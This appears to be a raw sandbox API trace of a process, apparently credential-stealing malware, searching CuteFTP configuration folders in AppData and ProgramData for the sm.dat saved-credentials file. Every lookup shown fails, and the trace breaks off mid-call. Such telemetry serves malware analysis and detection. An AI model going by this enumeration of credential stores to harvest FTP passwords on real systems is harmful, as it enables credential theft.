ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x48 [0047.343] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x74f980 [0047.343] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x74f980, nSize=0x48 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x47 [0047.343] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.344] LocalFree (hMem=0x74f980) returned 0x0 [0047.344] LocalFree (hMem=0x745b68) returned 0x0 [0047.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned 63 [0047.344] lstrlenA (lpString="\\*.*") returned 4 [0047.344] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x745b68 [0047.344] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro" [0047.344] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0047.344] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.344] LocalFree (hMem=0x745b68) returned 0x0 [0047.344] LocalFree (hMem=0x74a670) returned 0x0 [0047.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.344] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0047.344] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0047.344] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.344] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" [0047.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned 64 [0047.344] lstrlenA (lpString="\\sm.dat") returned 7 [0047.344] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x74f980 [0047.344] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" [0047.344] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0047.344] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x49 [0047.344] LocalAlloc (uFlags=0x40, uBytes=0xc9) returned 0x711b80 [0047.344] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x711b80, nSize=0x49 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x48 [0047.344] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.344] LocalFree (hMem=0x711b80) returned 0x0 [0047.344] LocalFree (hMem=0x74f980) returned 0x0 [0047.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned 64 [0047.344] lstrlenA (lpString="\\*.*") returned 4 [0047.344] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x74f980 [0047.344] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite" [0047.344] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0047.344] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.344] LocalFree (hMem=0x74f980) returned 0x0 [0047.344] LocalFree (hMem=0x745b68) returned 0x0 [0047.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0047.344] lstrlenA (lpString="\\CuteFTP") returned 8 [0047.344] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x7508d8 [0047.344] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0047.344] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP" [0047.344] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP") returned 47 [0047.344] lstrlenA (lpString="\\sm.dat") returned 7 [0047.344] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x756820 [0047.344] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP" [0047.344] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat" [0047.344] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x38 [0047.344] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x7568e0 [0047.345] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat", lpDst=0x7568e0, nSize=0x38 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat") returned 0x37 [0047.345] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.345] LocalFree (hMem=0x7568e0) returned 0x0 [0047.345] LocalFree (hMem=0x756820) returned 0x0 [0047.345] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP") returned 47 [0047.345] lstrlenA (lpString="\\*.*") returned 4 [0047.345] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x756820 [0047.345] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP" [0047.345] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\*.*" [0047.345] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\CuteFTP\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.345] LocalFree (hMem=0x756820) returned 0x0 [0047.345] LocalFree (hMem=0x7508d8) returned 0x0 [0047.345] LocalFree (hMem=0x7469f0) returned 0x0 [0047.345] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.345] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\ProgramData") returned 0x0 [0047.345] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.345] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0047.345] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0047.345] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.345] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" [0047.345] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned 34 [0047.345] lstrlenA (lpString="\\sm.dat") returned 7 [0047.345] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7508d8 [0047.345] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" [0047.345] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat" [0047.345] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2b [0047.345] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750820 [0047.345] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x750820, nSize=0x2b | out: lpDst="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x2a [0047.345] CreateFileA (lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\programdata\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.345] LocalFree (hMem=0x750820) returned 0x0 [0047.345] LocalFree (hMem=0x7508d8) returned 0x0 [0047.345] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned 34 [0047.345] lstrlenA (lpString="\\*.*") returned 4 [0047.345] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0047.345] lstrcpyA (in: lpString1=0x7548d0, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP" [0047.345] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\*.*" [0047.345] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.345] LocalFree (hMem=0x7548d0) returned 0x0 [0047.345] LocalFree (hMem=0x754820) returned 0x0 [0047.345] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.345] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0047.345] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.345] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.345] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" [0047.345] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned 38 [0047.345] lstrlenA (lpString="\\sm.dat") returned 7 [0047.345] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7508d8 [0047.346] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" [0047.346] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0047.346] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2f [0047.346] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x750820 [0047.346] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x750820, nSize=0x2f | out: lpDst="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x2e [0047.346] CreateFileA (lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\programdata\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.346] LocalFree (hMem=0x750820) returned 0x0 [0047.346] LocalFree (hMem=0x7508d8) returned 0x0 [0047.346] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned 38 [0047.346] lstrlenA (lpString="\\*.*") returned 4 [0047.346] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x7508d8 [0047.346] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro" [0047.346] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0047.346] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.346] LocalFree (hMem=0x7508d8) returned 0x0 [0047.346] LocalFree (hMem=0x754820) returned 0x0 [0047.346] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.346] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0047.346] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x754820 [0047.346] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.346] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" [0047.346] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned 39 [0047.346] lstrlenA (lpString="\\sm.dat") returned 7 [0047.346] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x7508d8 [0047.346] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" [0047.346] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0047.346] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x30 [0047.346] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x750820 [0047.346] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x750820, nSize=0x30 | out: lpDst="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x2f [0047.346] CreateFileA (lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\programdata\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.346] LocalFree (hMem=0x750820) returned 0x0 [0047.346] LocalFree (hMem=0x7508d8) returned 0x0 [0047.346] lstrlenA (lpString="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned 39 [0047.346] lstrlenA (lpString="\\*.*") returned 4 [0047.346] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x7508d8 [0047.346] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite" [0047.346] lstrcatA (in: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0047.346] FindFirstFileA (in: lpFileName="C:\\ProgramData\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.346] LocalFree (hMem=0x7508d8) returned 0x0 [0047.346] LocalFree (hMem=0x754820) returned 0x0 [0047.346] lstrlenA (lpString="C:\\ProgramData") returned 14 [0047.346] lstrlenA (lpString="\\CuteFTP") returned 8 [0047.346] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x716ef8 [0047.346] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0047.346] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\CuteFTP" | out: lpString1="C:\\ProgramData\\CuteFTP") returned="C:\\ProgramData\\CuteFTP" [0047.346] lstrlenA (lpString="C:\\ProgramData\\CuteFTP") returned 22 [0047.346] lstrlenA (lpString="\\sm.dat") returned 7 [0047.346] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x721848 [0047.346] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData\\CuteFTP" | out: lpString1="C:\\ProgramData\\CuteFTP") returned="C:\\ProgramData\\CuteFTP" [0047.347] lstrcatA (in: lpString1="C:\\ProgramData\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\ProgramData\\CuteFTP\\sm.dat") returned="C:\\ProgramData\\CuteFTP\\sm.dat" [0047.347] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x1f [0047.347] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x73cc70 [0047.347] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\CuteFTP\\sm.dat", lpDst=0x73cc70, nSize=0x1f | out: lpDst="C:\\ProgramData\\CuteFTP\\sm.dat") returned 0x1e [0047.347] CreateFileA (lpFileName="C:\\ProgramData\\CuteFTP\\sm.dat" (normalized: "c:\\programdata\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.347] LocalFree (hMem=0x73cc70) returned 0x0 [0047.347] LocalFree (hMem=0x721848) returned 0x0 [0047.347] lstrlenA (lpString="C:\\ProgramData\\CuteFTP") returned 22 [0047.347] lstrlenA (lpString="\\*.*") returned 4 [0047.347] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x721848 [0047.347] lstrcpyA (in: lpString1=0x721848, lpString2="C:\\ProgramData\\CuteFTP" | out: lpString1="C:\\ProgramData\\CuteFTP") returned="C:\\ProgramData\\CuteFTP" [0047.347] lstrcatA (in: lpString1="C:\\ProgramData\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\CuteFTP\\*.*") returned="C:\\ProgramData\\CuteFTP\\*.*" [0047.347] FindFirstFileA (in: lpFileName="C:\\ProgramData\\CuteFTP\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.347] LocalFree (hMem=0x721848) returned 0x0 [0047.347] LocalFree (hMem=0x716ef8) returned 0x0 [0047.347] LocalFree (hMem=0x7469f0) returned 0x0 [0047.347] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.347] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0047.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.347] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0047.347] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x74a670 [0047.347] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.347] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP" [0047.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned 57 [0047.347] lstrlenA (lpString="\\sm.dat") returned 7 [0047.347] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0047.347] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP" [0047.347] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat" [0047.347] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x42 [0047.347] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x74f980 [0047.347] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x74f980, nSize=0x42 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x41 [0047.347] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.347] LocalFree (hMem=0x74f980) returned 0x0 [0047.347] LocalFree (hMem=0x745b68) returned 0x0 [0047.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP") 